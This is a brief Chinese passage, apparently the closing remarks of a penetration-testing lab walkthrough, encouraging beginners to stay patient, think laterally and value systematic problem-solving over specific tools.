维持/清理。每一个环节都需要耐心、细致和发散性的思维。当你遇到一堵墙时不要硬撞退一步看看有没有别的路或者检查一下自己手里的工具是否用对了姿势。这个靶机就像一盏引路的“油灯”照亮了你渗透测试学习之路的第一步而后面还有更复杂、更贴近真实环境的靶场在等着你。记住工具和命令会过时但这种系统性的攻击思维和解决问题的能力才是安全从业者最核心的资本。
